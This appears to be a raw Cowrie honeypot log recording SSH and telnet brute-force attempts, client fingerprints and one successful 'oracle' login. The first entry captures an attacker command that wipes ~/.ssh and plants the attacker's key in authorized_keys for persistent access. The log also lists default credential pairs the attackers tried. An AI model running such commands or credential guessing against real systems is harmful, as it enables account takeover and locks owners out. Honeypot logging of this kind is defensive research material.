{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.042530Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.175280Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.179324Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":50480,"dst_ip":"10.17.0.5","dst_port":22,"session":"9293ae044725","protocol":"ssh","message":"New connection: 185.16.214.226:50480 (10.17.0.5:22) [session: 9293ae044725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.299830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.305576Z","src_ip":"185.16.214.226","session":"9293ae044725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.432787Z","src_ip":"185.16.214.226","session":"9293ae044725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.736730337142944,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.881829Z","src_ip":"20.123.41.163","session":"503743130a24","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.963778Z","src_ip":"185.16.214.226","session":"9293ae044725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49672,"dst_ip":"159.203.135.109","dst_port":22,"session":"b04d2d87550c","protocol":"ssh","message":"New connection: 45.156.87.254:49672 (159.203.135.109:22) [session: b04d2d87550c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:59.135570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:59.142215Z","src_ip":"45.156.87.254","session":"b04d2d87550c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:59.229559Z","src_ip":"45.156.87.254","session":"b04d2d87550c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:59.485974Z","src_ip":"45.156.87.254","session":"b04d2d87550c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.092389Z","src_ip":"185.16.214.226","session":"9293ae044725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":50494,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb2890d669c0","protocol":"ssh","message":"New connection: 185.16.214.226:50494 (10.17.0.5:22) [session: fb2890d669c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.207535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.216798Z","src_ip":"185.16.214.226","session":"fb2890d669c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.339492Z","src_ip":"185.16.214.226","session":"fb2890d669c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.579832Z","src_ip":"45.156.87.254","session":"b04d2d87550c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.854875Z","src_ip":"185.16.214.226","session":"fb2890d669c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.981338Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:00.989429Z","src_ip":"185.16.214.226","session":"fb2890d669c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49686,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce4cc7bb1291","protocol":"ssh","message":"New connection: 45.156.87.254:49686 (159.203.135.109:22) [session: ce4cc7bb1291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:04.697416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:04.749929Z","src_ip":"45.156.87.254","session":"ce4cc7bb1291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:04.833534Z","src_ip":"45.156.87.254","session":"ce4cc7bb1291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:05.105894Z","src_ip":"45.156.87.254","session":"ce4cc7bb1291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:06.194765Z","src_ip":"45.156.87.254","session":"ce4cc7bb1291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60100,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa4d639a4c0","protocol":"telnet","message":"New connection: 20.123.41.163:60100 (10.17.0.5:23) [session: bfa4d639a4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:06.851765Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54488,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8e9acbdb04d","protocol":"ssh","message":"New connection: 45.156.87.254:54488 (159.203.135.109:22) [session: b8e9acbdb04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:09.710617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:09.717887Z","src_ip":"45.156.87.254","session":"b8e9acbdb04d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:09.813988Z","src_ip":"45.156.87.254","session":"b8e9acbdb04d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:10.087154Z","src_ip":"45.156.87.254","session":"b8e9acbdb04d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:11.174720Z","src_ip":"45.156.87.254","session":"b8e9acbdb04d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43860,"dst_ip":"10.17.0.5","dst_port":23,"session":"635050ec7b08","protocol":"telnet","message":"New connection: 20.123.41.163:43860 (10.17.0.5:23) [session: 635050ec7b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:14.724271Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54500,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea7be85b5b86","protocol":"ssh","message":"New connection: 45.156.87.254:54500 (159.203.135.109:22) [session: ea7be85b5b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:14.754921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:14.759907Z","src_ip":"45.156.87.254","session":"ea7be85b5b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:14.843690Z","src_ip":"45.156.87.254","session":"ea7be85b5b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:15.101620Z","src_ip":"45.156.87.254","session":"ea7be85b5b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:16.194211Z","src_ip":"45.156.87.254","session":"ea7be85b5b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38134,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be458fce059","protocol":"telnet","message":"New connection: 104.245.105.2:38134 (10.17.0.5:23) [session: 4be458fce059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:16.637381Z"}
{"eventid":"cowrie.session.closed","duration":10.431790113449097,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:17.283444Z","src_ip":"20.123.41.163","session":"bfa4d639a4c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34032,"dst_ip":"159.203.135.109","dst_port":22,"session":"46cce7048fa9","protocol":"ssh","message":"New connection: 45.156.87.254:34032 (159.203.135.109:22) [session: 46cce7048fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:19.834194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:19.843640Z","src_ip":"45.156.87.254","session":"46cce7048fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:19.929319Z","src_ip":"45.156.87.254","session":"46cce7048fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:20.194325Z","src_ip":"45.156.87.254","session":"46cce7048fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:21.284392Z","src_ip":"45.156.87.254","session":"46cce7048fa9","protocol":"ssh"}
